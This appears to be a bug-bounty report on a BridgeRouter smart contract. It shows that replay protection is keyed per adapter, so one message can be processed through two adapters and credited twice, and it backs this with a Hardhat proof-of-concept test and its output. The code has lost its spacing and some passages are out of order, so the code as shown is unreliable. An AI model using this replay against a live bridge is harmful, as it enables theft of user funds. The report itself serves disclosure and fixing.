Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
The BridgeRouter contract allows for message replay across different adapters, contrary to its intended design as described in the project's documentation. This vulnerability arises because the seenMessages mapping is keyed by both adapterId and messageId, rather than just messageId. As a result, a message with the same messageId can be successfully replayed if sent through a different adapter.
Vulnerability Details:
The BridgeRouter contract is designed to prevent replay attacks by tracking messages that have already been processed. According to the project's documentation, the implementation should prevent the same message from being replayed across different adapters:
The interface IBridgeAdapter specifies the implementation needed of a GMP for it to be callable by BridgeRouter. Each GMP will have its own adapter specific to its needs. A GMP may have multiple adapters to support various functionality such as sending data alone or sending data + token.
You may ask, why don’t we don’t do the same in the individual adapters as opposed to in the BridgeRouter? The reason is because a GMP may have multiple adapters so an attack vector could be to replay the same message but to different adapters. Therefore we need a global storage of all messages received on a given chain.
However, the current implementation only prevents replay attacks within the same adapter. The relevant code snippet from BridgeRouter is:
contracts\bridge\BridgeRouter.sol
abstractcontractBridgeRouterisIBridgeRouter, AccessControlDefaultAdminRules { ...mapping(uint16 adapterId =>mapping(bytes32 messageId =>bool hasBeenSeen)) public seenMessages; ...functionreceiveMessage(Messages.MessageReceivedmemory message) externalpayableoverride {// check if caller is valid adapter IBridgeAdapter adapter =IBridgeAdapter(msg.sender);uint16 adapterId = adapterToId[adapter];if (!isAdapterInitialized(adapterId)) revertAdapterUnknown(adapter);// check if haven't seen message if (seenMessages[adapterId][message.messageId]) revert MessageAlreadySeen(message.messageId); // --------- this line
// convert handler to address type (from lower 20 bytes)address handler = Messages.convertGenericAddressToEVMAddress(message.handler);// add msg.value to user balance if presentif (msg.value >0) {bytes32 userId =_getUserId(Messages.decodeActionPayload(message.payload)); balances[userId] += msg.value; }// store message as seen before call to handler seenMessages[adapterId][message.messageId] =true;// call handler with received payloadtryBridgeMessenger(handler).receiveMessage(message) {// emit message received as suceededemitMessageSucceeded(adapterId, message.messageId); } catch (bytesmemory err) {// don't revert so GMP doesn't revert// store and emit message received as failed failedMessages[adapterId][message.messageId] = message;emitMessageFailed(adapterId, message.messageId, err); } }}
Furthermore, the project's test suite includes a test that checks for replay attacks within a single adapter but does not test for replay attacks across different adapters:
The incorrect implementation allows attackers to replay the same message across different adapters. This can lead to various attacks such as double spending or triggering unintended actions multiple times. This vulnerability poses a significant risk to the protocol's integrity and could lead to financial losses or other malicious activities.
describe("Chista0x-Replay Same Message to two adapter", () => {it("should allow the same message to be processed by different adapters",async () => { const { unusedUsers, bridgeRouter, adapter,adapter2,adapterId,adapterId2, adapterAddress, bridgeMessenger,bridgeMessengerAddress } =
awaitloadFixture(deployBridgeMessenger2AdapterFixture);constsender= unusedUsers[0];// balance beforeconstbridgeRouterBalance=awaitethers.provider.getBalance(bridgeRouter);constmessage:MessageReceived= { messageId:getRandomBytes(BYTES32_LENGTH), sourceChainId:BigInt(0), sourceAddress:convertEVMAddressToGenericAddress(adapterAddress), handler:convertEVMAddressToGenericAddress(bridgeMessengerAddress), payload:buildMessagePayload(0, accountId,sender.address,"0x"), returnAdapterId:BigInt(0), returnGasLimit:BigInt(0), };constbalance=BigInt(30000);// receive `same` message twice from two different adapterconstreceiveMessage=awaitadapter.receiveMessage(message, { value: balance });constreceiveMessage2=awaitadapter2.receiveMessage(message, { value: balance });awaitexpect(receiveMessage).to.emit(adapter,"ReceiveMessage").withArgs(message.messageId);awaitexpect(receiveMessage).to.emit(bridgeMessenger,"ReceiveMessage").withArgs(message.messageId);awaitexpect(receiveMessage).to.emit(bridgeRouter,"MessageSucceeded").withArgs(adapterId,message.messageId);expect(awaitbridgeRouter.seenMessages(adapterId,message.messageId)).to.be.true;awaitexpect(receiveMessage2).to.emit(adapter2,"ReceiveMessage").withArgs(message.messageId);awaitexpect(receiveMessage2).to.emit(bridgeMessenger,"ReceiveMessage").withArgs(message.messageId);awaitexpect(receiveMessage2).to.emit(bridgeRouter,"MessageSucceeded").withArgs(adapterId2,message.messageId);expect(awaitbridgeRouter.seenMessages(adapterId2,message.messageId)).to.be.true;expect(awaitbridgeRouter.balances(accountId)).to.be.equal(balance + balance);expect(awaitethers.provider.getBalance(bridgeRouter)).to.be.equal(bridgeRouterBalance + balance + balance); }); });
Run the test with the command npx hardhat test --grep "Chista0x-Replay"
Test output:
BridgeRouter (unit tests)
Chista0x-Replay Same Message to two adapter
✔ should allow the same message to be processed by different adapters (3494ms)
1 passing (4s)